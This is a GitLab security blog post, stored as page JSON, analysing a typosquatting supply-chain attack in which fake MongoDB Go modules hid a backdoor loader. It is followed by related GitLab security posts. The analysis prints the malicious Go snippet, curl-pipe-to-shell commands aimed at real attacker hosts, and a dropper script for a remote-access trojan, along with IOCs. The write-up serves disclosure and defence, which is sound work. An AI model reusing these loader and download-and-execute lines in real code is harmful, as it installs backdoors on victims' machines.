[{"data":1,"prerenderedAt":810},["ShallowReactive",2],{"/en-us/blog/gitlab-catches-mongodb-go-module-supply-chain-attack":3,"navigation-en-us":32,"banner-en-us":442,"footer-en-us":452,"blog-post-authors-en-us-Michael Henriksen":694,"blog-related-posts-en-us-gitlab-catches-mongodb-go-module-supply-chain-attack":708,"blog-promotions-en-us":748,"next-steps-en-us":800},{"id":4,"title":5,"authorSlugs":6,"body":8,"categorySlug":9,"config":10,"content":14,"description":8,"extension":24,"isFeatured":11,"meta":25,"navigation":11,"path":26,"publishedDate":23,"seo":27,"stem":29,"tagSlugs":30,"__hash__":31},"blogPosts/en-us/blog/gitlab-catches-mongodb-go-module-supply-chain-attack.yml","Gitlab Catches Mongodb Go Module Supply Chain Attack",[7],"michael-henriksen",null,"security",{"featured":11,"template":12,"slug":13},true,"BlogPost","gitlab-catches-mongodb-go-module-supply-chain-attack",{"title":15,"description":16,"authors":17,"heroImage":19,"body":20,"category":9,"tags":21,"date":23},"GitLab catches MongoDB Go module supply chain attack","Learn how GitLab detected a supply chain attack targeting Go developers through fake MongoDB drivers that deploy persistent backdoor malware.",[18],"Michael Henriksen","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg","Software supply chain attacks via malicious dependencies continue to be one of the most significant security threats to modern software development. The widespread use of open source components has enabled development teams to build applications rapidly, but it has also widened the attack surface area. The growing ecosystem of third-party packages presents numerous opportunities for attackers to exploit dependencies through techniques like typosquatting, dependency confusion, and package impersonation, making it increasingly challenging for developers to distinguish legitimate packages from malicious imposters.\nTo address this challenge, GitLab's Vulnerability Research team recently developed an automated detection system designed to proactively identify malicious dependencies in software supply chains. The system combines multiple detection techniques that work in concert:\n- Automated typosquatting detection, which identifies suspicious naming patterns\n- Semantic code analysis, which flags potentially malicious behaviors like network requests or command executions\n- AI-assisted initial screening for advanced payload and obfuscation detection\nThis multi-layered approach is used by the vulnerability research team to continuously scan newly published dependencies across major ecosystems, providing early warning of supply chain attacks.\nUsing this detection system, GitLab recently identified a live typosquatting attack in the wild that leveraged a malicious MongoDB Go module. Below are details on the attack and how GitLab works to keep supply chains safe.\n## Executive summary: A MongoDB module that's not quite right\nOur detection system flagged a newly published Go module called `github.com/qiniiu/qmgo`, closely mimicking the popular [MongoDB](https://www.mongodb.com/) module `github.com/qiniu/qmgo`. The legitimate module describes itself as \"The Go driver for MongoDB\" and has gained traction in the Go community.\nTo disguise the malicious module as legitimate, the threat actor used a GitHub username nearly identical to the one associated with the real module with one subtle change: they added one “i” (`qiniu` → `qiniiu`). To the casual observer scrolling through search results or auto-complete suggestions, this difference would be very easy to overlook.\nThe new module’s code was a working copy of the legitimate `qmgo` module. However, malicious code was inserted into the `NewClient` function in `client.go`, a function that developers would naturally call when initializing their MongoDB connection. Concealing malicious code within a function made the payload less likely to be executed during potential runtime security analysis, while ensuring that it would execute from normal usage in real applications.\nAfter reporting the malicious module, it was removed within approximately 19 hours of our initial report. However, the threat actor quickly adapted, publishing a second typosquatted version (`github.com/qiiniu/qmgo`) just four days later with identical malicious code. This follow-up attack was also detected and taken down roughly one hour after initial discovery. The rapid redeployment demonstrates the persistent nature of these attacks and highlights why proactive detection is crucial in minimizing exposure windows.\n## Technical deep dive: Peeling back the layers\nThe threat actor took steps to hide the attack. The malicious payload used a multilayered approach, starting with a compact code snippet that triggered a chain of remote payload downloads:\n```go  \ntxt, err := script.Get(\"https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html\").String()  \nif err == nil {  \n    txt2, err := script.Get(string(strings.Replace(txt, \"\\n\", \"\", -1))).String()  \n    if err == nil {  \n        exec.Command(\"/bin/sh\", \"-c\", string(txt2)).Start()  \n    }  \n}  \n```\nThe attack unfolds in four distinct layers:\n**Layer 1:** The code fetches `update.html` from another repository owned by the typosquat account `qiiniu/vue-element-admin`. The file contained a single line: \n```text\nhttps://img.googlex.cloud/seed.php\n```\n**Layer 2:** The code then fetches `https://img.googlex.cloud/seed.php`, which returns a single shell command, which is executed: \n```bash  \ncurl -s http://207.148.110.29:80/logon61.gif|sh\n```\n**Layer 3:** The command tells the system to fetch `http://207.148.110.29:80/logon61.gif` using curl and execute the response as a shell script.  The shell script downloads what appears to be an MP3 file (`chainelli.mp3`) to `/tmp/vod`, makes it executable, runs it, and immediately deletes it:\n```bash  \n#!/bin/sh  \nrm -rf /tmp/vod  \ncurl -s http://207.148.110.29:80/chainelli.mp3 -o /tmp/vod  \nchmod 777 /tmp/vod  \n/tmp/vod  \nrm -rf /tmp/vod  \n```\n**Layer 4:** The `chainelli.mp3` file is actually a statically-linked, stripped ELF Go binary designed to establish persistent remote access. Once executed, the malware attempts to connect to its command and control server at `ellipal.spoolsv.cyou` on Port 443 (both TCP and UDP), using a custom encrypted communication protocol with a hardcoded RSA key. From there, it provides the threat actor with remote administration capabilities:\n* Complete remote shell access and one-off command execution  \n* Screenshot captures  \n* SOCKS proxy functionality to make connections through the compromised machine  \n* Configurable sleep interval between check-ins with the command and control server to avoid detection  \n* Standard remote access trojan features like filesystem browsing and upload/download\n## They're back (already)\nJust four days after GitLab reported the initial malicious module and saw it removed, `github.com/qiiniu/qmgo` appeared – the second typosquatted version with identical malicious code. This quick redeployment demonstrates the persistent nature of these attacks and highlights how threat actors adapt quickly to takedown efforts.\n## GitLab’s approach: Finding needles in haystacks\nThe initial discovery and persistence of this attack validated our approach to proactive dependency monitoring and threat detection. GitLab’s detection system combines multiple techniques to identify malicious dependencies:\n**Typosquatting detection:** GitLab monitors newly published dependencies and looks for packages that exhibit signs of various typosquatting strategies.\n**Semantic heuristics:** Our system statically analyzes code for patterns like network requests, command executions, and other behaviors typical of malicious payloads.\n**AI-assisted analysis:** A [large language model](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/) does the initial analysis of the suspicious parts of the code to help us weed out obvious false positives, detect complex payloads, and identify obfuscation techniques used to hide malicious intent.\n**Human review:** A human receives an alert to verify the finding and to perform advanced analysis.\n## Recommendations: Staying ahead of persistent supply chain threats\nThis attack highlights the ongoing challenges in securing software supply chains. The multilayered obfuscation and rapid redeployment after takedown demonstrate that threat actors are willing to invest significant effort in targeting popular dependencies.\nThe quick pivot to new typosquatted packages after our initial report highlights a fundamental weakness in the current ecosystems: package managers typically only remove malicious dependencies after they've been published, discovered, and reported by the community. This reactive approach leaves a dangerous window where developers can unknowingly consume compromised packages. Proactive monitoring and detection systems like the one GitLab has developed can help close this gap by identifying threats during the publication process itself.\nWe've provided indicators of compromise (IOCs) in the next section, which you can use in your monitoring systems to detect this specific campaign.\n## Indicators of compromise\n| IOC | Description |\n| :---- | :---- |\n| `github.com/qiniiu/qmgo` | Malicious Go module |\n| `github.com/qiiniu/qmgo` | Malicious Go module |\n| `https://raw.githubusercontent.com/qiniiu/vue-element-admin/refs/heads/main/public/update.html` | Payload delivery URL |\n| `https://raw.githubusercontent.com/qiiniu/vue-element-admin/refs/heads/main/public/update.html` | Payload delivery URL |\n| `https://img.googlex.cloud/seed.php` | Payload delivery URL |\n| `http://207.148.110.29:80/logon61.gif` | Payload delivery URL |\n| `http://207.148.110.29:80/chainelli.mp3` | Payload delivery URL |\n| `img.googlex.cloud` | Payload delivery host |\n| `207.148.110.29` | Payload delivery host |\n| `ellipal.spoolsv.cyou` | Command & Control host |\n| `6ada952c592f286692c59028c5e0fc3fa589759f` | SHA-1 checksum of chainelli.mp3 remote administration malware |\n| `8ae533e2d1d89c871908cbcf5c7d89c433d09b2e7f7d4ade3aef46c55b66509c` | SHA-256 checksum of chainelli.mp3 remote administration malware |\n| `/tmp/vod` | Temporary download location of chainelli.mp3 remote administration malware |\n## How GitLab helps secure the software supply chain \nMalicious dependencies, like the MongoDB Go module attack, highlight why securing the software supply chain requires more than just CVE monitoring. GitLab’s DevSecOps platform includes [Application Security Testing](https://docs.gitlab.com/user/application_security/secure_your_application/) scanners like Software Composition Analysis in the development lifecycle, helping teams catch vulnerable or malicious packages before they reach production. \nPaired with research efforts like this, GitLab aims to enable developers to build applications that are secure from the start without compromising on development velocity. \n## Timeline\n* **2025-06-01T09:31:** GitLab reports `github.com/qiniiu/qmgo` to Go Security  \n* **2025-06-01T09:43:** GitLab reports `github.com/qiniiu/qmgo` to GitHub  \n* **2025-06-01T10:14:** GitLab reports `ellipal.spoolsv.cyou` (`188.166.213.194`) to the IP block owner \n* **2025-06-02T04:03:** Go Security takes down `github.com/qiniiu/qmgo`\n* **2025-06-02T09:57:** The IP block owner suspends `188.166.213.194`\n* **2025-06-03T09:15:** GitHub suspends `github.com/qiniiu`\n* **2025-06-05T17:15:** GitLab reports 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statement",{"items":684},[685,688,691],{"text":686,"config":687},"Terms",{"href":512,"dataGaName":513,"dataGaLocation":460},{"text":689,"config":690},"Cookies",{"dataGaName":522,"dataGaLocation":460,"id":523,"isOneTrustButton":11},{"text":692,"config":693},"Privacy",{"href":517,"dataGaName":518,"dataGaLocation":460},[695],{"id":696,"title":18,"body":8,"config":697,"content":699,"description":8,"extension":24,"meta":703,"navigation":11,"path":704,"seo":705,"stem":706,"__hash__":707},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":698},"BlogAuthor",{"name":18,"config":700},{"headshot":701,"ctfId":702},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",[709,722,736],{"content":710,"config":720},{"title":711,"description":712,"authors":713,"date":715,"body":716,"category":9,"tags":717,"heroImage":719},"Prepare your pipeline for AI-discovered zero-days","AI is finding vulnerabilities faster than teams can patch. Learn how pipeline enforcement, automated triage, and AI remediation close the gap.",[714],"Omer Azaria","2026-04-20","Anthropic's [Mythos Preview model](https://red.anthropic.com/2026/mythos-preview/) recently identified thousands of zero-day vulnerabilities across every major operating system and web browser, including an OpenBSD bug that went undetected for 27 years. In testing, Mythos autonomously chained four vulnerabilities into a working browser exploit that escaped its sandbox. Anthropic is restricting access to Mythos, but the company’s head of offensive cyber research expects threats to have comparable tooling within six to twelve months.\n\nThe defender side of the equation hasn't kept pace. One third of exploited Common Vulnerabilities and Exposures (CVEs) in the first half of 2025 showed activity on or before disclosure day, before most teams even know there's something to patch. AI is compressing that window further, accelerating attackers and flooding teams with whitehat disclosures faster than they can triage. Defender tooling has improved, but most organizations can't operationalize it fast enough to close the gap between discovery and exploitation.\n\nWhen the window between disclosure and exploitation is measured in hours, the security team can't be the last line of defense. Security has to run where code enters the system: in the pipeline, on every merge request, enforced by policy. The fixes that can be automated should be. The ones that can't need to reach the right human faster than they do today.\n\n## Known vulnerabilities are already outpacing remediation\n\nThe bottleneck isn't detection, it's acting at scale on what teams already know. Sixty percent of breaches in the 2025 Verizon DBIR involved exploiting known vulnerabilities where a patch was already available. Teams couldn’t close them in time.\n\nThe backlog was untenable before Mythos. Developers spend [11 hours per month remediating vulnerabilities](https://about.gitlab.com/resources/developer-survey/) post-release instead of shipping new work. Over half of organizations have at least one open internet-facing vulnerability, and the median time to close half of those is 361 days. Exploitation takes hours, while remediation takes months.\n\nAI-assisted development is widening the gap, and stakeholders know it. By June 2025, AI-generated code was adding over 10,000 new security findings per month across Fortune 50 repositories, a 10x jump from six months earlier. Georgia Tech identified 34 [CVEs attributable to AI-generated code](https://research.gatech.edu/bad-vibes-ai-generated-code-vulnerable-researchers-warn) in March 2026, up from 6 in January, and that count reflects only the ones where AI authorship is clear. AI coding assistants hallucinate package names, reach for outdated patterns, and copy insecure examples from training data. More code, more dependencies, and more vulnerabilities per line are generated faster than security teams can review them.\n\nDefenders need to harness frontier AI models, too — not bolted onto the SDLC as external tooling, but running inside the same policies, approvals, and audit trail as the rest of the team. \n\n## Security at the speed of AI coding\n\nWhen a critical CVE drops, how quickly can your team confirm which projects are affected? How many tools does an alert cross before a developer can submit a fix?\n\nThe teams that benefit most from AI already have policies, enforcement, and controls embedded in their development workflows. AI amplifies that foundation. It doesn't replace it.\n\n**Enforcement at the point of change.** As exploitation windows compress, every line of code entering a repository needs to pass through a defined set of controls. Not a separate review, in a different tool, by a different team. Organizations need the ability to enforce security policies across every group and project, with the merge request as the enforcement point. Policies defined once, applied everywhere, with exceptions reviewed, approved, and logged.\n\n**Simple issues caught before the merge request, not during.** Hardcoded secrets, known-vulnerable imports, and deprecated API calls can be flagged in the IDE before a developer pushes a commit. Catching them at authoring time means fewer findings blocking the MR, so review cycles go to the findings that require cross-component context: reachability, exploitability, and architectural risk.\n\n**Triage automated by default, not by exception.** Embedding security into every merge request creates a volume problem. More scans, more findings, more noise reaching developers who aren’t trained to distinguish a reachable critical from a theoretical one. AI must handle false positive detection, reachability, exploitability context, and severity assessment before a developer sees the finding, so the findings they see actually warrant their time.\n\n**Remediation governed like any other change.** AI-based remediation compresses the timeline for closing vulnerabilities, but every generated fix must move through the same governance as a human-authored change: policies enforce scans, the right reviewers approve, and evidence is recorded. GitLab’s automated remediation capability proposes each fix in a merge request with a confidence score. The MR records which policy applied, which scans ran, what they found, and who approved. Human code and AI-generated code move through the same process, with the same audit trail.\n\n## What a ready pipeline looks like\n\nHere's how these pieces work together when a high-severity vulnerability is discovered and the clock is running.\n\nA proof-of-concept exploit for a vulnerability in a popular open-source package appears on a security mailing list. There’s no CVE, no National Vulnerability Database (NVD) entry, and no scanner signature yet. The security team finds out the usual way: someone shares it in Slack.\n\nA security engineer asks the security agent if the package is in use, which projects have affected versions, and whether any vulnerable call paths are reachable in production. The agent checks the dependency graph for every project, matches the affected versions and entry points from the disclosure, and returns a ranked list of exposed projects with details about reachability. There’s no need to search through repositories by hand or wait for a scanner update. The question, \"Are we exposed?\" is answered in minutes.\n\nThe engineer starts a remediation campaign for every exposed project. The remediation agent suggests fixes: version updates where a patched release is available, and targeted call-path patches where it is not. Scan execution policies are already in place for projects tagged SOC 2. The engineer hardens the rules to block merges on any merge request that introduces or keeps the affected dependency, and an approval policy now requires security sign-off on every fix. The agent's first proposed patch fails the pipeline when an integration test catches a regression. The agent revises the patch based on the test failure, and the second attempt passes. Developers review the changes, security signs off under the stricter policy, and merges proceed across the campaign.\n\nAt the next audit review, the security team presents a report showing how policies were enforced and risks were reduced during the campaign. It includes scan results, policies applied, approvers, and merge timestamps for every MR in every affected project. The evidence was automatically generated in flight, not assembled after the fact.\n\n## Close the gaps now\n\nMythos exists today, and comparable models will be in attacker hands within a year. Every month between now and then is a chance to strengthen your software supply chain.\n\nAsk these questions about your pipeline:\n\n* How do you enforce that security scans run on every merge request, not just the projects where teams configured them?\n\n* If a compromised package entered your dependency tree today, would your pipeline catch it before build?\n\n* When a scanner flags a critical finding, how many tool boundaries does it cross before a developer starts the fix?\n\n* If an AI agent proposed a code fix for a vulnerability, what process would that fix go through before reaching production, and is that process auditable?\n\n* When auditors ask for evidence that a specific policy was enforced on a specific change, how long does it take to produce?\n\nIf the answers expose gaps, address them now. [Talk to a GitLab solutions architect](https://about.gitlab.com/sales/) about the role of security governance in your development lifecycle.",[718,9,527],"AI/ML","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png",{"featured":11,"template":12,"slug":721},"prepare-your-pipeline-for-ai-discovered-zero-days",{"content":723,"config":734},{"title":724,"description":725,"authors":726,"heroImage":728,"date":729,"category":9,"tags":730,"body":733},"Manage vulnerability noise at scale with auto-dismiss policies","Learn how to cut through scanner noise and focus on the vulnerabilities that matter most with GitLab security, including use cases and templates.",[727],"Grant Hickman","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png","2026-03-25",[9,731,559,732,22],"tutorial","features","Security scanners are essential, but not every finding requires action. Test code, vendored dependencies, generated files, and known false positives create noise that buries the vulnerabilities that actually matter. Security teams waste hours manually dismissing the same irrelevant findings across projects and pipelines. They experience slower triage, alert fatigue, and developer friction that undermines adoption of security scanning itself.\n\nGitLab's auto-dismiss vulnerability policies let you codify your triage decisions once and apply them automatically on every default-branch pipeline. Define criteria based on file path, directory, or vulnerability identifier (CVE, CWE), choose a dismissal reason, and let GitLab handle the rest.\n\n## Why auto-dismiss?\nAuto-dismiss vulnerability policies enable security teams to:\n- **Eliminate triage noise**: Automatically dismiss findings in test code, vendored dependencies, and generated files.\n- **Enforce decisions at scale**: Apply policies centrally to dismiss known false positives across your entire organization.\n- **Maintain audit transparency**: Every auto-dismissed finding includes a documented reason and links back to the policy that triggered it.\n- **Preserve the record**: Unlike scanner exclusions, dismissed vulnerabilities remain in your report, so you can revisit decisions if conditions change.\n\n## How auto-dismiss policies work\n\n1. **Define your policy** in a vulnerability management policy YAML file. Specify match criteria (file path, directory, or identifier) and a dismissal reason.\n\n2. **Merge and activate.** Create the policy via **Secure > Policies > New  policy > Vulnerability management policy**. Merge the MR to enable it.\n3. **Run your pipeline.** On every default-branch pipeline, matching vulnerabilities are automatically set to \"Dismissed\" with the specified reason. Up to 1,000 vulnerabilities are processed per run.\n4. **Measure the impact.** Filter your vulnerability report by status \"Dismissed\" to see exactly what was cleaned up and validate that the right findings are being handled.\n\n## Use cases with ready-to-use configurations\n\nEach example below includes a policy configuration you can copy, customize, and apply immediately.\n\n### 1. Dismiss test code vulnerabilities\n\nSAST and dependency scanners flag hardcoded credentials, insecure fixtures, and dev-only dependencies in test directories. These are not production risks.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss test code vulnerabilities\"\n    description: \"Auto-dismiss findings in test directories\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"test/**/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"tests/**/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"spec/**/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"__tests__/*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: used_in_tests\n\n```\n\n### 2. Dismiss vendored and third-party code\n\nVulnerabilities in `vendor/`, `third_party/`, or checked-in `node_modules` are managed upstream and not actionable for your team.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss vendored dependency findings\"\n    description: \"Findings in vendored code are managed upstream\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"vendor/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"third_party/*\"\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"vendored/*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: not_applicable\n\n```\n\n### 3. Dismiss known false positive CVEs\n\nCertain CVEs are repeatedly flagged but don't apply to your usage context. Teams dismiss these manually every time they appear. Replace the example CVEs below with your own.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss known false positive CVEs\"\n    description: \"CVEs confirmed as false positives for our environment\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2023-44487\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2024-29041\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2023-26136\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: false_positive\n\n```\n\n### 4. Dismiss generated and auto-created code\n\nProtobuf, gRPC, OpenAPI generators, and ORM scaffolding tools produce files with flagged patterns that cannot be patched by your team.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss generated code findings\"\n    description: \"Generated files are not authored by us\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: directory\n            value: \"generated/*\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"**/*.pb.go\"\n      - type: detected\n        criteria:\n          - type: file_path\n            value: \"**/*.generated.*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: not_applicable\n\n```\n\n### 5. Dismiss infrastructure-mitigated vulnerabilities\n\nVulnerability classes like XSS (CWE-79) or SQL injection (CWE-89) that are already addressed by WAF rules or runtime protection. Only use this when mitigating controls are verified and consistently enforced.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Dismiss CWEs mitigated by WAF\"\n    description: \"XSS and SQLi mitigated by WAF rules\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CWE-79\"\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CWE-89\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: mitigating_control\n\n```\n\n### 6. Dismiss CVE families across your organization\n\nA wave of related CVEs for a widely-used library your team has assessed? Apply at the group level to dismiss them across dozens of projects. The wildcard pattern (e.g., `CVE-2021-44*`) matches all CVEs with that prefix.\n\n```yaml\nvulnerability_management_policy:\n  - name: \"Accept risk for log4j CVE family\"\n    description: \"Log4j CVEs mitigated by version pinning and WAF\"\n    enabled: true\n    rules:\n      - type: detected\n        criteria:\n          - type: identifier\n            value: \"CVE-2021-44*\"\n    actions:\n      - type: auto_dismiss\n        dismissal_reason: acceptable_risk\n\n```\n\n## Quick reference\n\n| Parameter | Details |\n|-----------|---------|\n| **Criteria types** | `file_path` (glob patterns, e.g., `test/**/*`), `directory` (e.g., `vendor/*`), `identifier` (CVE/CWE with wildcards, e.g., `CVE-2023-*`) |\n| **Dismissal reasons** | `acceptable_risk`, `false_positive`, `mitigating_control`, `used_in_tests`, `not_applicable` |\n| **Criteria logic** | Multiple criteria within a rule = AND (must match all). Multiple rules within a policy = OR (match any). |\n| **Limits** | 3 criteria per rule, 5 rules per policy, 5 policies per security policy project. Vulnerabilty management policy actions process 1000 vulnerabilities per pipeline run in the target project, until all matching vulnerabilities are processed. |\n| **Affected statuses** | Needs triage, Confirmed |\n| **Scope** | Project-level or group-level (group-level applies across all projects) |\n\n## Getting started\nHere's how to get started with auto-dismiss policies:\n\n1. **Identify the noise.** Open your vulnerability report and sort by \"Needs triage.\" Look for patterns: test files, vendored code, the same CVE across projects.\n\n2. **Pick a scenario.** Start with whichever use case above accounts for the most findings.\n\n3. **Record your baseline.** Note the number of \"Needs triage\" vulnerabilities before creating a policy.\n\n4. **Create and enable.** Navigate to **Secure > Policies > New policy > Vulnerability management policy**. Paste the configuration from the use case above, then merge the MR.\n\n5. **Validate results.** After the next default-branch pipeline, filter by status \"Dismissed\" to confirm the right findings were handled.\n\nFor full configuration details, see the [vulnerability management policy documentation](https://docs.gitlab.com/user/application_security/policies/vulnerability_management_policy/#auto-dismiss-policies).\n\n> Ready to take control of vulnerability noise? [Start a free GitLab Ultimate trial](https://about.gitlab.com/free-trial/) and configure your first auto-dismiss policy today.\n",{"slug":735,"featured":11,"template":12},"auto-dismiss-vulnerability-management-policy",{"content":737,"config":746},{"title":738,"description":739,"authors":740,"heroImage":742,"date":743,"body":744,"category":9,"tags":745},"GitLab 18.10 brings AI-native triage and remediation ","Learn about GitLab Duo Agent Platform capabilities that cut noise, surface real vulnerabilities, and turn findings into proposed fixes.",[741],"Alisa Ho","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773843921/rm35fx4gylrsu9alf2fx.png","2026-03-19","GitLab 18.10 introduces new AI-powered security capabilities focused on improving the quality and speed of vulnerability management. Together, these features can help reduce the time developers spend investigating false positives and bring automated remediation directly into their workflow, so they can fix vulnerabilities without needing to be security experts.\n\nHere is what’s new:\n\n* [**Static Application Security Testing (SAST) false positive detection**](https://docs.gitlab.com/user/application_security/vulnerabilities/false_positive_detection/) **is now generally available.** This flow uses an LLM for agentic reasoning to determine the likelihood that a vulnerability is a false positive or not, so security and development teams can focus on remediating critical vulnerabilities first.  \n* [**Agentic SAST vulnerability resolution**](https://docs.gitlab.com/user/application_security/vulnerabilities/agentic_vulnerability_resolution/) **is now in beta.** Agentic SAST vulnerability resolution automatically creates a merge request with a proposed fix for verified SAST vulnerabilities, which can shorten time to remediation and reduce the need for deep security expertise.  \n* [**Secret false positive detection**](https://docs.gitlab.com/user/application_security/vulnerabilities/secret_false_positive_detection/) **is now in beta.** This flow brings the same AI-powered noise reduction to secret detection, flagging dummy and test secrets to save review effort.\n\nThese flows are available to GitLab Ultimate customers using GitLab Duo Agent Platform. \n\n## Cut triage time with SAST false positive detection\n\nTraditional SAST scanners flag every suspicious code pattern they find, regardless of whether code paths are reachable or frameworks already handle the risk. Without runtime context, they cannot distinguish a real vulnerability from safe code that just looks dangerous.\n\nThis means developers could spend hours investigating findings that turn out to be false positives. Over time, that can erode confidence in the report and slow down the teams responsible for fixing real risks.\n\nAfter each SAST scan, GitLab Duo Agent Platform automatically analyzes new critical and high severity findings and attaches:\n\n* A confidence score indicating how likely the finding is to be a false positive  \n* An AI-generated explanation describing the reasoning  \n* A visual badge that makes “Likely false positive” versus “Likely real” easy to scan in the UI\n\nThese findings appear in the [Vulnerability Report](https://docs.gitlab.com/user/application_security/vulnerability_report/), as shown below. You can filter the report to focus on findings marked as “Not false positive” so teams can spend their time addressing real vulnerabilities instead of sifting through noise.\n\n![Vulnerability report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773844787/i0eod01p7gawflllkgsr.png)\n\n\nGitLab Duo Agent Platform's assessment is a recommendation. You stay in control of every false positive to determine if it is valid, and you can audit the agent's reasoning at any time to build confidence in the model. \n\n\n## Turn vulnerabilities into automated fixes\n\nKnowing that a vulnerability is real is only half the work.  Remediation still requires understanding the code path, writing a safe patch, and making sure nothing else breaks.\n\nIf the vulnerability is identified as likely not be a false positive by the SAST false positive detection flow, the Agentic SAST vulnerability resolution flow automatically:\n\n1. Reads the vulnerable code and surrounding context from your repository  \n2. Generates high-quality proposed fixes  \n3. Validates fixes through automated testing   \n4. Opens a merge request with a proposed fix that includes:  \n   * Concrete code changes  \n   * A confidence score  \n   * An explanation of what changed and why\n\nIn this demo, you’ll see how GitLab can automatically take a SAST vulnerability all the way from detection to a ready-to-review merge request. Watch how the agent reads the code, generates and validates a fix, and opens an MR with clear, explainable changes so developers can remediate faster without being security experts.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174573325?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab 18.10 AI SAST False Positive Auto Remediation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\nAs with any AI-generated suggestion, you should review the proposed merge request carefully before merging.\n\n## Surface real secrets\n\nSecret detection is only useful if teams trust the results. When reports are full of test credentials, placeholder values, and example tokens, developers may waste time reviewing noise instead of fixing real exposures. That can slow remediation and decrease confidence in the scan.\n\nSecret false positive detection helps teams focus on the secrets that matter so they can reduce risk faster. When it runs on the default branch, it will automatically:\n\n1. Analyze each finding to spot likely test credentials, example values, and dummy secrets  \n2. Assign a confidence score for whether the finding is a real risk or a likely false positive  \n3. Generate an explanation for why the secret is being treated as real or noise  \n4. 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